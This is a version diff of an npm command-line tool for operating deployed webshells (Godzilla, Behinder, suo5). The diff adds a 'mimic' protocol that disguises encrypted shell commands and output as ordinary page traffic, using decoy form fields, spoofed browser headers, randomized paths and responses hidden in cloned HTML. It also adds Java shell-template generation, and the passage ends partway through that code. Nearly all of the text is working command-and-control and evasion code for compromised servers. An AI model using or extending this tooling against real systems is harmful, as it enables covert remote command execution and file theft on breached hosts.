memshell-party-cli 0.3.4 → 0.5.0

package/dist/cli.js

@@ -1,7 +1,7 @@
 #!/usr/bin/env node
 
 // src/cli.ts
-import { Command as Command9, CommanderError as CommanderError2 } from "commander";
+import { Command as Command10, CommanderError as CommanderError2 } from "commander";
 
 // src/api/client.ts
 var ApiError = class extends Error {
@@ -508,15 +508,25 @@ function postRaw(url, body, options = {}) {
   if (!isHttps && target.protocol !== "http:") {
     return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
   }
+  let proxy = null;
+  if (!isHttps && process.env.MEMPARTY_PROXY) {
+    try {
+      proxy = new URL(process.env.MEMPARTY_PROXY);
+    } catch {
+      return Promise.reject(
+        new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url)
+      );
+    }
+  }
   return new Promise((resolve2, reject) => {
     const started = Date.now();
     const transport = isHttps ? https : http;
     const req = transport.request(
       {
         method: "POST",
-        hostname: target.hostname,
-        port: target.port || (isHttps ? 443 : 80),
-        path: `${target.pathname}${target.search}`,
+        hostname: proxy ? proxy.hostname : target.hostname,
+        port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),
+        path: proxy ? target.toString() : `${target.pathname}${target.search}`,
         // agent:false — never reuse a pooled socket. A shell server may close
         // the connection right after an empty response, and reusing such a
         // socket surfaces as a spurious ECONNRESET on the next probe.
@@ -1491,18 +1501,537 @@ async function testSuo5(url, options = {}) {
   };
 }
 
-// src/core/oplog.ts
-import { appendFileSync, existsSync, mkdirSync, readFileSync as readFileSync2 } from "fs";
+// src/connect/mimic.ts
+import { randomInt as randomInt2 } from "crypto";
+
+// src/core/site-profile.ts
+import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
 import { homedir as homedir2 } from "os";
-import { dirname, join as join2 } from "path";
+import { join as join2 } from "path";
+function profileTemplates(profile) {
+  if (Array.isArray(profile.templates) && profile.templates.length > 0) {
+    return profile.templates;
+  }
+  if (profile.template) {
+    return [
+      {
+        title: profile.title ?? "",
+        template: profile.template,
+        contentType: profile.contentType ?? "text/html; charset=utf-8"
+      }
+    ];
+  }
+  return [];
+}
+function profileRequests(profile) {
+  if (!profile.request) return [];
+  return Array.isArray(profile.request) ? profile.request : [profile.request];
+}
+function pickRequestShape(requests) {
+  if (requests.length === 0) return void 0;
+  const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
+  let roll = Math.random() * total;
+  for (const r of requests) {
+    roll -= r.weight ?? 1;
+    if (roll <= 0) return r;
+  }
+  return requests[requests.length - 1];
+}
+var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
+function profilesDir() {
+  const override = process.env.MEMPARTY_PROFILES;
+  return override ? override : join2(homedir2(), ".memparty", "profiles");
+}
+function profilePath(name) {
+  return join2(profilesDir(), `${name}.json`);
+}
+function validateProfile(profile) {
+  if (!NAME_RE.test(profile.name)) {
+    throw new Error(
+      `invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
+    );
+  }
+  if (!profile.site || !/^https?:\/\//.test(profile.site)) {
+    throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
+  }
+  const templates = profileTemplates(profile);
+  if (templates.length === 0) {
+    throw new Error("profile needs at least one template (templates[] or legacy template)");
+  }
+  templates.forEach((t, i) => {
+    if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
+      throw new Error(`templates[${i}].template must be a full HTML page`);
+    }
+    if (!t.contentType) {
+      throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
+    }
+  });
+  if (!Array.isArray(profile.paths)) {
+    throw new Error("profile.paths must be an array (may be empty)");
+  }
+  for (const [ri, req] of profileRequests(profile).entries()) {
+    if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
+      throw new Error(`request[${ri}].secretField must be a form-field name`);
+    }
+    if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
+      throw new Error(`request[${ri}].secretIn must be body | query | header`);
+    }
+    for (const [i, f] of (req.fields ?? []).entries()) {
+      if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
+        throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
+      }
+      if (f.name === req.secretField) {
+        throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
+      }
+    }
+  }
+  if (profile.cipher !== void 0) {
+    const c = profile.cipher;
+    if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
+      throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
+    }
+    if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
+      throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
+    }
+    if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
+      throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
+    }
+    if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
+      throw new Error("cipher.padTail must be a boolean");
+    }
+  }
+}
+function saveProfile(profile) {
+  validateProfile(profile);
+  const dir = profilesDir();
+  mkdirSync(dir, { recursive: true });
+  writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
+`, "utf8");
+}
+function loadProfile(name) {
+  const path = profilePath(name);
+  if (!existsSync(path)) {
+    throw new Error(
+      `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
+    );
+  }
+  const profile = JSON.parse(readFileSync2(path, "utf8"));
+  validateProfile(profile);
+  return profile;
+}
+function listProfiles() {
+  const dir = profilesDir();
+  if (!existsSync(dir)) return [];
+  return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
+}
+function profileSkeleton(name, site) {
+  return {
+    name,
+    site: site.replace(/\/+$/, ""),
+    createdAt: (/* @__PURE__ */ new Date()).toISOString(),
+    templates: [
+      {
+        title: "",
+        template: '<!DOCTYPE html>\n<html>\n<head>\n<meta charset="UTF-8">\n<title></title>\n</head>\n<body>\n</body>\n</html>\n',
+        contentType: "text/html; charset=utf-8"
+      }
+    ],
+    paths: []
+  };
+}
+
+// src/connect/mimic-codecs.ts
+import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
+var LEGACY_CIPHER = {
+  algorithm: "aes-ecb",
+  encoding: "base64",
+  padTail: false,
+  marker: "js-var"
+};
+function resolveCipher(partial) {
+  return { ...LEGACY_CIPHER, ...partial ?? {} };
+}
+function xorCrypt(data, key) {
+  const out = Buffer.alloc(data.length);
+  for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
+  return out;
+}
+function crypt(data, aesKey, enc, algorithm) {
+  switch (algorithm) {
+    case "aes-ecb":
+      return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
+    case "aes-cbc": {
+      const key = Buffer.from(aesKey, "utf8");
+      if (enc) {
+        const iv = randomBytes3(16);
+        const c = createCipheriv2("aes-128-cbc", key, iv);
+        return Buffer.concat([iv, c.update(data), c.final()]);
+      }
+      const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
+      return Buffer.concat([d.update(data.subarray(16)), d.final()]);
+    }
+    case "xor":
+      return xorCrypt(data, Buffer.from(aesKey, "utf8"));
+  }
+}
+function encodeBytes(data, encoding) {
+  switch (encoding) {
+    case "base64":
+      return data.toString("base64");
+    case "base64url":
+      return base64UrlEncode(data);
+    case "hex":
+      return data.toString("hex");
+  }
+}
+function decodeString(text, encoding) {
+  switch (encoding) {
+    case "base64":
+      return Buffer.from(text, "base64");
+    case "base64url":
+      return base64UrlDecode(text);
+    case "hex":
+      return Buffer.from(text, "hex");
+  }
+}
+function padTailLength(aesKey) {
+  return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
+}
+var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
+function appendPad(text, aesKey) {
+  const n = padTailLength(aesKey);
+  if (n === 0) return text;
+  const raw = randomBytes3(n);
+  let tail = "";
+  for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
+  return text + tail;
+}
+function stripPad(text, aesKey) {
+  const n = padTailLength(aesKey);
+  return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
+}
+function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
+  let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
+  if (cipher.padTail) out = appendPad(out, aesKey);
+  return out;
+}
+function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
+  let text = value;
+  if (cipher.padTail) text = stripPad(text, aesKey);
+  return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
+}
+function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
+  const id = md5Hex(pass + secretKey).slice(0, 5);
+  if (cipher.marker === "html-comment") {
+    const left2 = `<!--Re${id}_config:`;
+    return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
+  }
+  const left = `var Re${id}_config="`;
+  return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
+}
+
+// src/connect/mimic-shared.ts
+import { randomBytes as randomBytes4, randomInt, randomUUID } from "crypto";
+function deriveAesKey(secretKey) {
+  return md5Key16(secretKey);
+}
+function renderFieldValue(value) {
+  return value.replaceAll(
+    /\{\{hex:(\d+)\}\}/g,
+    (_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
+  ).replaceAll(
+    /\{\{b64:(\d+)\}\}/g,
+    (_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
+  ).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
+    /\{\{int:(\d+):(\d+)\}\}/g,
+    (_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
+  );
+}
+var RIGHT_MARKER = '";';
+function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
+  return encryptField(plaintext, aesKey, cipher);
+}
+function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
+  return decryptField(value, aesKey, cipher);
+}
+function buildFormBody(fields) {
+  return Buffer.from(
+    fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
+    "utf8"
+  );
+}
+function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
+  const text = body.toString("utf8");
+  for (const pair of text.split("&")) {
+    const eq = pair.indexOf("=");
+    if (eq <= 0) continue;
+    if (pair.slice(0, eq) !== pass) continue;
+    const value = decodeURIComponent(pair.slice(eq + 1));
+    try {
+      return decryptField2(value, aesKey, cipher);
+    } catch {
+      return null;
+    }
+  }
+  return null;
+}
+function injectFragment(templateHtml, fragment) {
+  const idx = templateHtml.toLowerCase().lastIndexOf("</body>");
+  if (idx === -1) return templateHtml + fragment;
+  return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
+}
+function extractFromHtml(html, leftMarker, rightMarker = RIGHT_MARKER) {
+  const start = html.indexOf(leftMarker);
+  if (start === -1) return null;
+  const valueStart = start + leftMarker.length;
+  const end = html.indexOf(rightMarker, valueStart);
+  if (end === -1) return null;
+  return html.slice(valueStart, end);
+}
+
+// src/connect/mimic.ts
+var BROWSER_HEADERS = {
+  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
+  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+  "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
+  "Content-Type": "application/x-www-form-urlencoded"
+};
+function buildContext(req) {
+  const pass = req.conn.pass ?? "pass";
+  const secretKey = req.conn.key ?? "key";
+  let profile;
+  const profileName = req.options.profile ?? req.conn.profile;
+  if (profileName) {
+    profile = loadProfile(profileName);
+  }
+  const cipher = resolveCipher(profile?.cipher);
+  return {
+    pass,
+    aesKey: deriveAesKey(secretKey),
+    cipher,
+    markers: deriveMarkers(pass, secretKey, cipher),
+    profile,
+    dynamicPath: req.options.dynamicPath ?? false
+  };
+}
+function pickRequestUrl(connUrl, ctx) {
+  if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
+    return connUrl;
+  }
+  const origin = new URL(connUrl).origin;
+  const dir = ctx.profile.paths[randomInt2(ctx.profile.paths.length)];
+  const slug = randomString(8).toLowerCase();
+  return `${origin}${dir}${slug}`;
+}
+async function roundTrip(req, ctx, plaintext) {
+  let requestUrl = pickRequestUrl(req.conn.url, ctx);
+  const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
+  const secretField = shape?.secretField ?? ctx.pass;
+  const secretIn = shape?.secretIn ?? "body";
+  const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
+  const decoys = (shape?.fields ?? []).map((f) => ({
+    name: f.name,
+    value: renderFieldValue(f.value)
+  }));
+  let body;
+  const extraHeaders = {};
+  if (secretIn === "query") {
+    const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
+    requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
+    body = Buffer.alloc(0);
+  } else if (secretIn === "header") {
+    extraHeaders[secretField] = cipher;
+    body = buildFormBody(decoys);
+  } else {
+    body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
+  }
+  const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
+  let res;
+  try {
+    res = await postRaw(requestUrl, body, {
+      headers,
+      timeoutMs: req.common.timeoutMs,
+      insecure: req.common.insecure
+    });
+  } catch (err) {
+    return {
+      ok: false,
+      error: err instanceof Error ? err.message : String(err),
+      requestUrl,
+      status: 0,
+      durationMs: 0
+    };
+  }
+  if (res.status !== 200) {
+    return {
+      ok: false,
+      error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
+      requestUrl,
+      status: res.status,
+      durationMs: res.durationMs
+    };
+  }
+  const b64 = extractFromHtml(res.body.toString("utf8"), ctx.markers.left, ctx.markers.right);
+  if (b64 === null) {
+    return {
+      ok: false,
+      error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
+      requestUrl,
+      status: res.status,
+      durationMs: res.durationMs
+    };
+  }
+  try {
+    const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
+    return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
+  } catch {
+    return {
+      ok: false,
+      error: "response decryption failed \u2014 wrong key?",
+      requestUrl,
+      status: res.status,
+      durationMs: res.durationMs
+    };
+  }
+}
+var mimicProtocol = {
+  name: "mimic",
+  description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
+  async test(req) {
+    const started = Date.now();
+    const tool = "mimic";
+    const url = req.conn.url;
+    let ctx;
+    try {
+      ctx = buildContext(req);
+    } catch (err) {
+      return {
+        ok: false,
+        tool,
+        url,
+        error: err instanceof Error ? err.message : String(err),
+        durationMs: Date.now() - started
+      };
+    }
+    const canary = randomString(12);
+    const r = await roundTrip(req, ctx, `echo ${canary}`);
+    if (!r.ok) {
+      return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
+    }
+    if (!r.output.includes(canary)) {
+      return {
+        ok: false,
+        tool,
+        url,
+        error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
+        durationMs: Date.now() - started
+      };
+    }
+    const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
+    const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
+    return {
+      ok: true,
+      tool,
+      url,
+      detail: `round-trip ok (${profileNote}; ${pathNote})`,
+      durationMs: Date.now() - started
+    };
+  },
+  async exec(req, command) {
+    const started = Date.now();
+    const tool = "mimic";
+    const url = req.conn.url;
+    let ctx;
+    try {
+      ctx = buildContext(req);
+    } catch (err) {
+      return {
+        ok: false,
+        tool,
+        url,
+        command,
+        error: err instanceof Error ? err.message : String(err),
+        durationMs: Date.now() - started
+      };
+    }
+    const r = await roundTrip(req, ctx, command);
+    if (!r.ok) {
+      return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
+    }
+    return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
+  }
+};
+
+// src/connect/registry.ts
+var protocols = /* @__PURE__ */ new Map();
+function registerProtocol(protocol) {
+  protocols.set(protocol.name, protocol);
+}
+function getProtocol(name) {
+  return protocols.get(name);
+}
+function protocolNames(capability) {
+  const all = [...protocols.values()];
+  const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
+  return usable.map((p) => p.name);
+}
+function requireProtocol(name) {
+  const protocol = getProtocol(name);
+  if (!protocol) {
+    throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
+  }
+  return protocol;
+}
+function unsupportedMessage(protocol, capability) {
+  return `protocol '${protocol.name}' does not support ${capability}`;
+}
+var godzillaProtocol = {
+  name: "godzilla",
+  description: "Godzilla JAVA_AES_BASE64 shell",
+  test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
+  exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
+    ...common,
+    os: options.os
+  }),
+  upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
+    ...common,
+    remoteCharset: options.remoteCharset
+  }),
+  download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
+    ...common,
+    remoteCharset: options.remoteCharset
+  })
+};
+var behinderProtocol = {
+  name: "behinder",
+  description: "Behinder AES shell",
+  test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
+  exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
+  upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
+  download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
+};
+var suo5Protocol = {
+  name: "suo5",
+  description: "suo5 HTTP tunnel (connect test only)",
+  test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
+};
+registerProtocol(godzillaProtocol);
+registerProtocol(behinderProtocol);
+registerProtocol(suo5Protocol);
+registerProtocol(mimicProtocol);
+
+// src/core/oplog.ts
+import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
+import { homedir as homedir3 } from "os";
+import { dirname, join as join3 } from "path";
 var OUTPUT_LIMIT = 2e3;
 function opLogPath() {
-  return process.env.MEMPARTY_OPLOG ?? join2(homedir2(), ".memparty", "operations.jsonl");
+  return process.env.MEMPARTY_OPLOG ?? join3(homedir3(), ".memparty", "operations.jsonl");
 }
 function logOp(entry) {
   try {
     const file = opLogPath();
-    mkdirSync(dirname(file), { recursive: true });
+    mkdirSync2(dirname(file), { recursive: true });
     appendFileSync(file, `${JSON.stringify({ ts: (/* @__PURE__ */ new Date()).toISOString(), ...entry })}
 `);
   } catch {
@@ -1512,8 +2041,8 @@ function readOps(filter = {}) {
   let entries = [];
   try {
     const file = opLogPath();
-    if (existsSync(file)) {
-      for (const line of readFileSync2(file, "utf8").split("\n")) {
+    if (existsSync2(file)) {
+      for (const line of readFileSync3(file, "utf8").split("\n")) {
         const trimmed = line.trim();
         if (!trimmed) continue;
         try {
@@ -1558,25 +2087,25 @@ function formatOp(e) {
 }
 
 // src/core/targets.ts
-import { existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3, writeFileSync } from "fs";
-import { homedir as homedir3 } from "os";
-import { dirname as dirname2, join as join3 } from "path";
-var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
+import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
+import { homedir as homedir4 } from "os";
+import { dirname as dirname2, join as join4 } from "path";
+var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
 function checkName(kind, name) {
-  if (!NAME_RE.test(name)) {
+  if (!NAME_RE2.test(name)) {
     throw new Error(
       `invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
     );
   }
 }
 function targetStorePath() {
-  return process.env.MEMPARTY_TARGETS ?? join3(homedir3(), ".memparty", "targets.json");
+  return process.env.MEMPARTY_TARGETS ?? join4(homedir4(), ".memparty", "targets.json");
 }
 function listProjects() {
   try {
     const file = targetStorePath();
-    if (!existsSync2(file)) return {};
-    const data = JSON.parse(readFileSync3(file, "utf8"));
+    if (!existsSync3(file)) return {};
+    const data = JSON.parse(readFileSync4(file, "utf8"));
     if (data !== null && typeof data === "object" && !Array.isArray(data)) {
       return data;
     }
@@ -1589,8 +2118,8 @@ function getProject(name) {
 }
 function writeProjects(projects) {
   const file = targetStorePath();
-  mkdirSync2(dirname2(file), { recursive: true });
-  writeFileSync(file, `${JSON.stringify(projects, null, 2)}
+  mkdirSync3(dirname2(file), { recursive: true });
+  writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
 `, { mode: 384 });
 }
 function saveProjectMeta(name, meta) {
@@ -1697,7 +2226,8 @@ function autoSaveShell(conn) {
     headerName: conn.headerName,
     headerValue: conn.headerValue,
     extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
-    insecure: conn.insecure
+    insecure: conn.insecure,
+    profile: conn.profile
   });
   return `${projectName}/${shellName}`;
 }
@@ -1739,7 +2269,7 @@ function resolveConnection(ref, flags) {
     throw new Error("no URL \u2014 pass --url or a saved target name");
   }
   if (!tool) {
-    throw new Error("--tool is required (godzilla | behinder | suo5)");
+    throw new Error("--tool is required \u2014 see the command's --help for available protocols");
   }
   return {
     url,
@@ -1750,6 +2280,7 @@ function resolveConnection(ref, flags) {
     headerValue: flags.headerValue ?? stored?.headerValue,
     extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
     insecure: flags.insecure ?? stored?.insecure,
+    profile: flags.profile ?? stored?.profile,
     targetName
   };
 }
@@ -1768,10 +2299,8 @@ function parseExtraHeaders(lines) {
 }
 function registerConnectCommand(program) {
   program.command("connect").description(
-    "Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
-  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
-    new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
-  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
+    "Test whether a deployed webshell is alive and the credentials work"
+  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
     "--header-name <name>",
     "gate header name reported by gen (shellToolConfig.headerName)"
   ).option(
@@ -1779,7 +2308,7 @@ function registerConnectCommand(program) {
     "gate header value reported by gen (shellToolConfig.headerValue)"
   ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
     new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
-  ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
+  ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
     "after",
     `
 Examples:
@@ -1788,6 +2317,8 @@ Examples:
   $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
       --header-value my-secret-token
   $ memparty connect -u http://target/suo5.jsp -t suo5
+  $ memparty connect -u http://target/ -t mimic --pass pass --key key \\
+      --profile target-site --dynamic-path
   $ memparty connect web222                       # saved target, see 'memparty list'
   $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
 
@@ -1811,7 +2342,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
         headerName: opts.headerName,
         headerValue: opts.headerValue,
         extraHeaders: parseExtraHeaders(opts.header),
-        insecure: opts.insecure
+        insecure: opts.insecure,
+        profile: opts.profile
       });
     } catch (err) {
       reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -1826,21 +2358,18 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
       insecure: conn.insecure
     };
     let result;
-    switch (conn.tool) {
-      case "godzilla":
-        result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
-        break;
-      case "behinder":
-        result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
-        break;
-      case "suo5":
-        result = await testSuo5(conn.url, { ...common, mode: opts.suo5Mode });
-        break;
-      default:
-        process.stderr.write(`Error: unknown tool ${String(conn.tool)}
-`);
-        process.exitCode = 1;
-        return;
+    try {
+      const protocol = requireProtocol(conn.tool);
+      const options = {
+        suo5Mode: opts.suo5Mode,
+        profile: conn.profile,
+        dynamicPath: opts.dynamicPath
+      };
+      result = await protocol.test({ conn, common, options });
+    } catch (err) {
+      reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+      process.exitCode = 1;
+      return;
     }
     let savedAs;
     if (result.ok && conn.targetName === void 0 && opts.save !== false) {
@@ -1877,6 +2406,727 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
   });
 }
 
+// src/commands/custom.ts
+import { Command as Command2 } from "commander";
+
+// src/custom/build.ts
+import { mkdirSync as mkdirSync4, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
+import { join as join5 } from "path";
+
+// src/core/jdk.ts
+var JDK_VERSIONS = {
+  java6: 50,
+  java8: 52,
+  java9: 53,
+  java11: 55,
+  java17: 61,
+  java21: 65
+};
+function resolveJreVersion(input3) {
+  if (input3 === void 0 || input3 === "") return void 0;
+  if (typeof input3 === "number") return input3;
+  const normalized = input3.trim().toLowerCase();
+  if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
+  const withPrefix = `java${normalized}`;
+  if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
+  const num = Number(normalized);
+  if (Number.isInteger(num) && num > 0) return num;
+  throw new Error(
+    `Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
+  );
+}
+
+// src/custom/java-template.ts
+function javaStringLiteral(s) {
+  return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
+}
+var MD5_METHOD = String.raw`
+    static String md5Hex(String s) throws Exception {
+        MessageDigest m = MessageDigest.getInstance("MD5");
+        byte[] d = m.digest(s.getBytes("UTF-8"));
+        StringBuilder sb = new StringBuilder();
+        for (byte b : d) sb.append(String.format("%02x", b & 0xff));
+        return sb.toString();
+    }
+`;
+function cryptMethod(algorithm) {
+  switch (algorithm) {
+    case "aes-ecb":
+      return String.raw`
+    static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
+        Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
+        c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
+               new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
+        return c.doFinal(data);
+    }
+`;
+    case "aes-cbc":
+      return String.raw`
+    static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
+        Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
+        SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
+        if (enc) {
+            byte[] iv = new byte[16];
+            new java.security.SecureRandom().nextBytes(iv);
+            c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
+            byte[] ct = c.doFinal(data);
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+            bos.write(iv);
+            bos.write(ct);
+            return bos.toByteArray();
+        }
+        c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
+        return c.doFinal(data, 16, data.length - 16);
+    }
+`;
+    case "xor":
+      return String.raw`
+    static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
+        byte[] k = key.getBytes("UTF-8");
+        byte[] out = new byte[data.length];
+        for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
+        return out;
+    }
+`;
+  }
+}
+function encDecMethods(encoding) {
+  switch (encoding) {
+    case "base64":
+      return String.raw`
+    static String enc(byte[] data) {
+        return java.util.Base64.getEncoder().encodeToString(data);
+    }
+    static byte[] dec(String s) {
+        return java.util.Base64.getDecoder().decode(s);
+    }
+`;
+    case "base64url":
+      return String.raw`
